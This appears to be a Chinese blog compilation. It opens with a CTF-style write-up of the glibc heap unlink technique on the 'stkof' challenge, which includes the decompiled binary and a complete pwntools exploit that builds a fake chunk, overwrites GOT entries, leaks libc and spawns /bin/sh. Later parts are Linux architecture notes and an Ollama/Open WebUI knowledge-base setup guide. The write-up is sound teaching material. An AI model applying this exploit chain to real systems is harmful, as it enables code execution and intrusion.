## unlink



### 传统unlink

通过unlink操作实现对任意地址的读写操作。**关键源码：**

```c
FD=P->fd
BK=P->bk 
FD->bk = BK
BK->fd = FD
```

![image-20230902171214306](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202309021712453.png)

当free smallchunk或者是unsortbin chunk时，为了减少碎片化内存空间提高利用率，glibc会对chunk前后位置检查是否有free chunk，

如果有，就会先将free chunk从bin中取出进行合并。

而从bin中取出chunk的操作我们就称之为  **unlink**



而此时如果我们有指针指向该chunk，进行uaf，将fd，和bk分别设置为需要的值即可进行任意地址读写。

这里ctfwiki中给出了一个例子：

- FD=P->fd = target addr -12
- BK=P->bk = expect value
- FD->bk = BK，即 *(target addr-12+12)=BK=expect value
- BK->fd = FD，即 *(expect value +8) = FD = target addr-12

> 比如说我们将 target addr 设置为某个 got 表项，那么当程序调用对应的 libc 函数时，就会直接执行我们设置的值（expect value）处的代码。**需要注意的是，expect value+8 处的值被破坏了，需要想办法绕过。**

  这里解释一下为什么设置为got表项，就会执行expect value处代码：**FD->bk = BK，即 *(target addr-12+12)=BK=expect value**，注意这里代码，如果target address设置为got表项，则*（target - 12 + 12） = *（target）= expect value，所以如果target addr设置为read的got表项，而expect value设置为puts的got表项，当执行unlink后，在执行read函数时，就会执行puts函数。从而达到任意地址读写。



### 现代unlik

因为在glibc2.23之后（似乎）：glibc添加了一系列防止unlink的操作：

```c
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
```

```c
    // 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
```

这样我们就不能对FD -> bk和BK - > fd指针进行修改，想要绕过只能设为固定值。

而想要绕过，则需要用fake chunk欺骗检测。

- `fakeFD -> bk == P` <=> `*(fakeFD + 12) == P`
- `fakeBK -> fd == P` <=> `*(fakeBK + 8) == P`

## 利用思路 

wiki中给出的利用思路

## 条件 

1. UAF ，可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
2. 已知位置存在一个指针指向可进行 UAF 的 chunk

### 效果 

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

### 思路 

设指向可 UAF chunk 的指针的地址为 ptr

1. 修改 fd 为 ptr - 0x18
2. 修改 bk 为 ptr - 0x10
3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。



## 例：stokf

反汇编：

```c
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  int v5; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(nptr, 10, stdin) )
  {
    choice = atoi(nptr);
    if ( choice == 2 )
    {
      v5 = fill();
      goto LABEL_14;
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        v5 = free_chunk();
        goto LABEL_14;
      }
      if ( choice == 4 )
      {
        v5 = print();
        goto LABEL_14;
      }
    }
    else if ( choice == 1 )
    {
      v5 = alloc();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}
```

#### fill

```c
signed __int64 fill()
{
  int i; // eax
  unsigned int idx; // [rsp+8h] [rbp-88h]
  __int64 size; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  size = atoll(s);
  ptr = globals[idx];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  }
  if ( size )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}
```

#### free chunk

```c
signed __int64 free_chunk()
{
  unsigned int idx; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  free(globals[idx]);
  globals[idx] = 0LL;
  return 0LL;
}
```

#### print

```c
signed __int64 print()
{
  unsigned int idx; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  if ( strlen(globals[idx]) <= 3 )
    puts("//TODO");
  else
    puts("...");
  return 0LL;
}
```

#### alloc

```c
signed __int64 alloc()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  globals[++cnt] = v2;
  printf("%d\n", (unsigned int)cnt);
  return 0LL;
}
```

### exp



注意所有的执行我都是在glibc2.23下执行的，所以如果没有专门准备，可以用patchelf改变程序连接器和libc。

alloc三块chunk之后

![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202309021953710.png)



![image-20230902195707715](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202309021957774.png)

利用chunk2伪造fake chunk，并overwrite chunk3 利用size的p位置0，来表示pre_chunk为free [这里并不太理解为什么fake chunk的size要0x20，按理来说应该是0x30]

![image-20230902195846572](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202309021958606.png)

这里可以看到free（3）之后，chunk2和chunk3 会合并实际大小变成0x40+0x90 = 0xc0，起始地址是chunk2的fake chunk也就是图中的0x2b5a7d0处，这里指针就改变了，变成fd中的0x602138

**注意unlink的对象是chunk2，所以这里我们需要设置chunk2的fd和bk分别为chunk'ptr - 0x18和chunk‘s ptr - 0x10。这样unlink之后ptr指针就变成了ptr - 0x18**

![image-20230902205641515](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20230902205641515.png)

但是我们想要的地址是0x602140，所以还要填充垃圾数据。之后就可以对got表修改了

```python
from pwn import*
context.terminal = ['tmux', 'split', '-h']
# io = remote()
io = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/home/hyrink/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
gdb.attach(io)
bss = 0x0602140
# bss = elf.bss()

def fill(idx,size,content):
    io.sendline(b'2')
    io.sendline(str(idx))
    io.sendline(str(size))
    io.send(content)
    io.recvuntil(b'OK\n')

def free(idx):
    io.sendline(b'3')
    io.sendline(str(idx))

def alloc(size):
    io.sendline(b'1')
    io.sendline(str(size))
    io.recvuntil(b'OK\n')

def print(idx):
    io.sendline(b'4')
    io.sendline(str(idx))

#distribute the chunk
# alloc(0x100)
alloc(0x100) # idx = 1
alloc(0x40) # idx = 2
alloc(0x80) # idx = 3 这里的chunk3因为是需要free的，所以必须得是small bin或者unsortbin，不能是fast bin，fast bin并不会合并也就不会触发unlink

```

**如果我选择分配0x50的chunk3**，free（3）后：

![image-20230903110135946](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202309031101984.png)



```python
##build the fake chunk to bypass the check 
#pre_size + size + fd + bk 
payload = p64(0x0)
payload += p64(0x40)
payload += p64(bss+16 - 0x18) #加回去刚好是bss + 16，即global[2].成功bypass
payload += p64(bss+16 -0x10)
payload += p64(0x40) #可以注释这一句，在wiki给出的exp中写的注释是“next chunk's prev_size bypass the check”，我觉得这里用的不准确，真正的bypass因该在下面第三行处。
payload = payload.ljust(0x40,b'a')
#overwrite the chunk of index == 3 ,makesure is a free chunk
payload += p64(0x40)
payload += p64(0x90)
fill(2,len(payload),payload)
free(3)
# attach(io)
io.recvuntil(b'OK\n')
payload =b'a'*(0x8)+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])
fill(2,len(payload),payload) # unlink之后chunk指针变成fd

```

```python
payload = p64(elf.plt['puts'])
fill(0,len(payload),payload)
free(1)

puts_addr = u64(io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
log.success("puts_addr = "+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
log.success("system_addr = "+hex(system))
binsh = libc_base + next(libc.search(b'/bin/sh'))
log.success("binsh_addr = "+hex(binsh))
# attach(io)
payload = p64(system)
fill(2,len(payload),payload)
io.sendline(p64(binsh))

io.interactive()
```

![image-20230903105816550](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202309031058632.png)

unlink

# Linux系统结构

![image](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304291814331.jpg)

Linux系统结构一般分为四部分：

* kernel
* shell
* FILE system
* application



![image-20230420204008612](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304202040665.png)

## Kernel

Linux 内核由如下几部分组成：内存管理、进程管理、设备驱动程序、文件系统和网络管理等。如图：

![image-20230420204259268](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304202042331.png)



### 系统调用接口

为了使用户有良好的运行环境，当用户需要调用系统内核函数时，操作系统就会将系统调用接口提供给用户使用。

而系统调用的作用就是将应用程序的请求给系统内核，调用相应的系统内核函数。**Linux系统调用，包含了大部分常用的系统调用和由系统调用派生出的函数。**

#### 举例ret2syscall

这里的在linux-x86上的系统调用是通过int 0x80实现，通过*系统调用号*区分函数入口：

1. 应用程序调用库函数（API）；
2. API 将系统调用号存入 EAX，然后通过中断调用使系统进入内核态；
3. 内核中的中断处理函数根据系统调用号，调用对应的内核函数（系统调用）；
4. 系统调用完成相应功能，将返回值存入 EAX，返回到中断处理函数；
5. 中断处理函数返回到 API 中；
6. API 将 EAX 返回给应用程序。

#### System Call interface

API(Application Programming Interface)又称为应用程序接口。通过该接口用户程序员可以间接的访问到系统硬件和操作系统资源。操作系统的主要作用之一就是把系统硬件和操作系统资源进行封装并对上层用户进行屏蔽，防止用户有意无意的对系统造成破坏。操作系统就像一个保护壳一样保护系统资源不被外界破坏。因此，当用户需要对系统资源进行访问的时候，就必须通过操作系统向用户提供的接口才能实现用户对系统资源的访问，取得内核的服务。

API一般以函数定义的形式出现，如read()、malloc()、abs()等。但API并不需要和系统调用一一对应，它们之间的关系可以是一对一、一对多、多对一或者无关系。例如read()接口就和read系统调用对应，而abs()作用是求绝对值，不需要任何系统调用。而且一般API主要是通过C函数库来实现。

而ret2syscall中int 0x80 是一种用于在 Linux 系统中进行系统调用的方式，它通过向处理器发出中断信号，使得程序从用户态切换到内核态，以请求内核提供相应的服务。而 `System Call Interface （SCI）`是操作系统提供的 **API**，用于执行从用户空间到内核空间的函数调用，从而实现用户程序对内核中功能的调用。

**int 0x80** 的实现需要依赖于 SCI 接口，在早期的 Linux 版本中，其中的一些系统调用就是通过 int 0x80 来实现的。***在这个过程中，int 0x80 这条指令会触发中断，进而执行 SCI的相关代码，将程序从用户态切换到内核态，完成系统调用的过程。***

因此，int 0x80 和 SCI 之间存在着密切的关系，可以说是两种不同层面上的实现方式。在较新版本的 Linux 中，int 0x80 已经逐渐被其他更加高效的实现方式所替代，但 SCI 接口作为操作系统提供的核心接口之一，一直扮演着非常重要的角色。

###### 参考

([系统调用 - 维基百科，自由的百科全书 (wikipedia.org)](https://zh.wikipedia.org/wiki/系统调用))

([(1条消息) 系统调用接口_xiaobaiyuan_bk的博客-CSDN博客](https://blog.csdn.net/qq_42080151/article/details/84560801))

([2.4. 系统调用接口 — 计算机系统基础 (jmu.edu)](https://w3.cs.jmu.edu/kirkpams/OpenCSF/Books/csf/html/Syscall.html))

### 内存管理 Memory management(x86架构-32位Linux系统)

因为物理空间中计算机内存是极为有限的，而实际使用中对计算机的各种操作都会占用计算机的内存。以下是主要问题：

* 内存使用效率低：无法解决多任务并发时物理内存不够用的情况
* 地址空间不隔离：不同的操作之间可能会对物理内存中同一块地址进行操作，这就容易导致崩溃。
* 地址不明确，未使用空间的地址不明确

#### 虚拟内存

引入一个中间层(即虚拟内存)对进程地址和物理地址进行隔离。

#### 内存分区

Linux系统对内存结点进行分区：

* DMA：直接内存访问区，通常为物理内存的起始16M；主要供I/O外设使用，无需CPU参与的外设和内存DMA；
* Normal：从16M到896M内存区；内核可以直接使用
* Hight memory：896M以后的内存区；高端内存，内核不能直接使用

```text
`DMA`:0~16MB内存页框，可由老式基于ISA设备通过DMA使用，直接映射到内核的地址空间。是一种计算机系统中常用的数据传输方式，它可以让设备在不占用CPU时间的情况下，直接访问内存，实现高速数据传输。 在数据传输量大、速度要求高的场景中， DMA传输过程中，通常需要使用一个特殊的硬件设备——DMA控制器。(这里指不通过CPU来实现外设与数据交换的控制器，硬件)
```

###### 参考

([关于DMA（Direct memory access）比较通俗浅白的理解 - 腾讯云开发者社区-腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1858684))

[Linux之DMA详解](https://blog.csdn.net/wyttRain/article/details/113972282)

---



低于869MB界限为：low memory，反之，高于869MB则称为high memory。

 如图：

![image-20230421202851960](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304212028032.png)

##### 页与页框与页表

* 页：将进程分配的虚拟地址空间划分的块，对应的大小就叫页面大小。
* 页框：将内存物理地址划分的块。页和页框二者一一对应，一个页放入一个页框，（理论上）页的大小和页框的大小相等。
* 页表：操作系统维护的页表，页表记录了每一对页和页框的映射关系。

三者关系：

![image-20230423205604043](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304232056199.png)

页面大小：4kb。页表项大小：4B。32位虚拟地址可以表示的进程大小2^32为4GB。

页面面数为：2^20页，所以页表就需要4MB空间



#### 进程和内存

用户空间被划分为5个不同的内存空间：text，data，BSS，heap，stack，

* text（代码段）：代码段用于存放可执行操作指令，只读，不可执行。
* data（数据段）：存放可执行文件的已初始化的全局变量。
* Bss：程序中的未初始化全局/局部变量/
* heap（堆）：用于存放进程中的被动态分配的内存段，是由用户调用malloc等函数向操作系统申请空间（一块空间被称作一个chunk），当这一块chunk被用户使用free释放掉之后，这一块申请的空间不会被返还给系统，而是会将它放入bins链中，为后续的调用空间提高效率。
* stack（栈）：栈是用户存放程序临时创建的局部变量的一块区域（注意：这里并不包含static申明的变量，其在data段）。每有一个函数被调用都会在stack中开辟一块新的栈帧，在调用函数之前会先将所调函数的参数入栈，然后将主调函数的ret_addr和主调函数的ebp地址依次入栈（这里是为了在执行完被调函数后恢复原本的栈帧，以保持栈平衡），最后才会执行被调函数。

#### 内核空间

![image-20230423213022209](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304232130298.png)

##### 直接映射区

直接映射区 `Direct Memory Region`：从内核空间起始地址开始，最大`896M`的内核空间地址区间，为直接内存映射区。

直接映射区的896MB的「线性地址」直接与「物理地址」的前`896MB`进行映射，也就是说线性地址和分配的物理地址都是连续的。内核地址空间的线性地址`0xC0000001`所对应的物理地址为`0x00000001`，它们之间相差一个偏移量`PAGE_OFFSET = 0xC0000000`

该区域的线性地址和物理地址存在线性转换关系「线性地址 = `PAGE_OFFSET` + 物理地址」也可以用 `virt_to_phys()`函数将内核虚拟空间中的线性地址转化为物理地址。

##### 高端内存线性地址空间：

内核空间中896MB到1GB空间被称为高端内存线性地址空间。前面提到0-896MB是直接映射，也就是和物理空间是一样连续的，但是实际上目前pc里的内存肯定都大于1GB，所以我们总不能后面的也都直接映射吧，这时候这后面的高端内存线性空间就得发挥作用了。他被划分为三块区域（这里只适用于32bit）：

* 动态内存映射区
* 永久内存映射区
* 固定映射区

###### 动态内存映射区

`vmalloc Region` 该区域由内核函数`vmalloc`来分配，特点是：线性空间连续，但是对应的物理地址空间不一定连续。`vmalloc` 分配的线性地址所对应的物理页可能处于低端内存，也可能处于高端内存。

###### 永久内存映射区：

`Persistent Kernel Mapping Region` 该区域可访问高端内存。访问方法是使用 `alloc_page (_GFP_HIGHMEM)` 分配高端内存页或者使用`kmap`函数将分配到的高端内存映射到该区域。

###### 固定映射区

`Fixing kernel Mapping Region` 该区域和 4G 的顶端只有 4k 的隔离带，其每个地址项都服务于特定的用途，如 `ACPI_BASE` 等。



![image-20230423215028506](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304232150561.png)

（手画好累）



### 简析VFS

#### 简介

虚拟文件系统（Virtual File system）是linux内核的文件子系统之一，它为用户程序提供文件和文件系统操作的统一接口，屏蔽不同文件系统的差异和操作细节。借助VFS可以直接使用`open()`、`read()`、`write()`这样的系统调用操作文件，而无须考虑具体的文件系统和实际的存储介质。

#### 原理

VFS之所以能够衔接各种各样的文件系统，是因为它抽象了一个通用的文件系统模型，定义了通用文件系统都支持的、概念上的接口。新的文件系统只要支持并实现这些接口，并注册到Linux内核中，即可安装和使用。

举个例子，比如Linux写一个文件：

```text
int ret = write(fd, buf, len);
```

调用了`write()`系统调用，它的过程简要如下：

- 首先，勾起VFS通用系统调用`sys_write()`处理。
- 接着，`sys_write()`根据`fd`找到所在的文件系统提供的写操作函数，比如`op_write()`。
- 最后，调用`op_write()`实际的把数据写入到文件中。

![image-20230420203000315](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304202030369.png)

###### 参考

* ([存储系列之 VFS虚拟文件系统简介 - orange-C - 博客园 (cnblogs.com)](https://www.cnblogs.com/orange-CC/p/12720341.html))

* ([存储系列之 VFS虚拟文件系统简介 - orange-C - 博客园 (cnblogs.com)](https://www.cnblogs.com/orange-CC/p/12720341.html))

### 进程管理（completely fair scheduler）

###### 参考：

[Linux CFS 调度器：原理、设计与内核实现（2023） (arthurchiao.art)](http://arthurchiao.art/blog/linux-cfs-design-and-implementation-zh/)



## Linux shell

shell的中文意思就是‘壳’，从第一张图中可以看出shell是建立在kernel之上的，shell就相当于kernel的一个接口，用于连接用户与内核空间。

Linux系统结构详解(更新ing.jpg)

## Ollama本地大模型 + webui + 个人知识库

windows

### 步骤一. 

win + R打开命令行：




```shell
start https://ollama.com/download/OllamaSetup.exe
```

安装ollama

### 步骤二

检查安装：

```shell
ollama -v
```

### 步骤三：

下载模型：

```shell
start https://ollama.com/library
```

选择适合模型：

> [!NOTE]
>
> ![image-20250102151910360](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501021519462.png)

> [!TIP]
>
> 推荐的几个模型
>
> 通用任务：
>
> - mixtral:8x7b-instruct-v0.1-q5_1
> - nous-hermes2-mixtral:8x7b-dpo-q5_K_M
>
> 角色扮演:
>
> - silicon-maid:7b-q5_k_m
>
> embedding:
>
> - nomic-embed-text



我们以aliyun的通义千问为例：

![image-20250102152347299](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501021523379.png)

我这里选择擅长编码的模型，参数量选择7b（选择适合自己的）。复制后面的命令，在cmd中执行。

![image-20250102152601247](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501021526275.png)

安装完成之后，即可运行。



## Web ui部署

eg：

![image-20250102152811178](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501021528259.png)

首先我们需要安装docker（我选择安装docker desktop）

![image-20250102152922533](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501021529603.png)

我们需要在设置中将虚拟化打开以支持docker（注意如果电脑有安装mumu模拟器之类的可能会有冲突）。

### 开启虚拟化

控制面板 ->程序 ->  启用或关闭Windows功能 -> 虚拟机和适用于Linux的Windows子系统

![image-20250102153328230](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501021533280.png)

无法安装可以网盘，@我。

### 使用webui打开ollama

本机ollama：

```shell
docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main
```

使用GPU（nvidia）：

```shell
docker run -d -p 3000:8080 --gpus all --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:cuda
```

打开http://localhost:3000，以访问webui。



### 构建个人知识库

我这里选择ollama平台加[Langchain-Chatchat](https://github.com/chatchat-space/Langchain-Chatchat)构建个人知识库大模型。

首先给出[官方文档](https://github.com/chatchat-space/Langchain-Chatchat/blob/master/README.md#pip-%E5%AE%89%E8%A3%85%E9%83%A8%E7%BD%B2)我选择的是本地pip部署：

### pip安装

> [!NOTE]
>
> 强烈建议先在想要部署该项目的根目录添加python venv虚拟环境，防止pip包版本冲突。
>
> ```
> python -m venv <the_name_of_venv_you_want>
> ```
>
> 创建完成后，会多出一个目录名字你定。
>
> 然后我们尝试激活该虚拟环境
>
> * Windows
>
>   ```
>   .\<the_name_of_venv_you_want>\Scripts\activate
>   ```
>
> * Linux/macOS
>
>   ```
>   source ./<the_name_of_venv_you_want>/bin/activate
>   ```
>
>   看到下图所示即为激活成功：
>
>   windows：![image-20250107131106274](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501071311377.png)
>
>   linux：![image-20250107131217007](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501071312049.png)

然后我们就可以在该虚拟环境下安装包了。

```shell
pip install langchain-chatchat -U
```

如果下载速度慢或者是无法下载：

尝试换源；

```shell
pip install <package-name> -i https://pypi.tuna.tsinghua.edu.cn/simple
```

### 安装推理框架模型

开头已经安装ollama，其他框架如xinference，请查看对应官方文档。

###  初始化项目配置与数据目录

1.设置 Chatchat 存储配置文件和数据文件的根目录（可选）

```shell
# on linux or macos
export CHATCHAT_ROOT=/path/to/chatchat_data

# on windows
set CHATCHAT_ROOT=/path/to/chatchat_data
```

2.执行初始化

```shell
chatchat init
```

3.修改配置文件：

初始化完成后，目录下会多出几个配置文件，我们需要对其中几个作出必要的配置：

![image-20250107132018120](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501071320178.png)

改为自己的模型。

emdedding是嵌入模型，可在ollama上下载。

然后其他保持不变（有想法可自行配置）

将MODEL_PLATFORMS除ollama外注释，修改为如下

```shell
 platform_name: ollama
    platform_type: ollama
    api_base_url: http://127.0.0.1:11434/v1
    api_key: EMPTY
    api_proxy: ''
    api_concurrencies: 5
    auto_detect_model: false
    llm_models:
      - qwen2.5-coder:7b
    embed_models:
      - nomic-embed-text:latest
    text2image_models: []
    image2text_models: []
    rerank_models: []
    speech2text_models: []
    text2speech_models: []
```

模型名称根据自己下载的来。

不知道的使用

```shell
ollama list
```

查看。

4.配置知识库路径：（可选）

默认知识库位于 `CHATCHAT_ROOT/data/knowledge_base`，如果你想把知识库放在不同的位置，或者想连接现有的知识库，可以在这里修改对应目录即可。

```
# 知识库默认存储路径
 KB_ROOT_PATH: D:\chatchat-test\data\knowledge_base

 # 数据库默认存储路径。如果使用sqlite，可以直接修改DB_ROOT_PATH；如果使用其它数据库，请直接修改SQLALCHEMY_DATABASE_URI。
 DB_ROOT_PATH: D:\chatchat-test\data\knowledge_base\info.db

 # 知识库信息数据库连接URI
 SQLALCHEMY_DATABASE_URI: sqlite:///D:\chatchat-test\data\knowledge_base\info.db
```

不建议C盘。

5.

初始化知识库

```shell
chatchat kb -r
```

初始化前一定确保有embedding模型。

成功日志：

```shell

----------------------------------------------------------------------------------------------------
知识库名称      ：samples
知识库类型      ：faiss
向量模型：      ：bge-large-zh-v1.5
知识库路径      ：/root/anaconda3/envs/chatchat/lib/python3.11/site-packages/chatchat/data/knowledge_base/samples
文件总数量      ：47
入库文件数      ：42
知识条目数      ：740
用时            ：0:02:29.701002
----------------------------------------------------------------------------------------------------

总计用时        ：0:02:33.414425

```

启动：

```shell
chatchat start -a
```

弹出界面：

![image-20250107132551599](https://cdn.jsdelivr.net/gh/Kriemseeley/Typora/202501071325716.png)

即可。

然后即可在GUI中配置自己的知识库。

unlink

Linux系统结构

Ollama本地大模型 + webui + 个人知识库

步骤一.

using web proxy

PROXY 代理简介

wp

chaos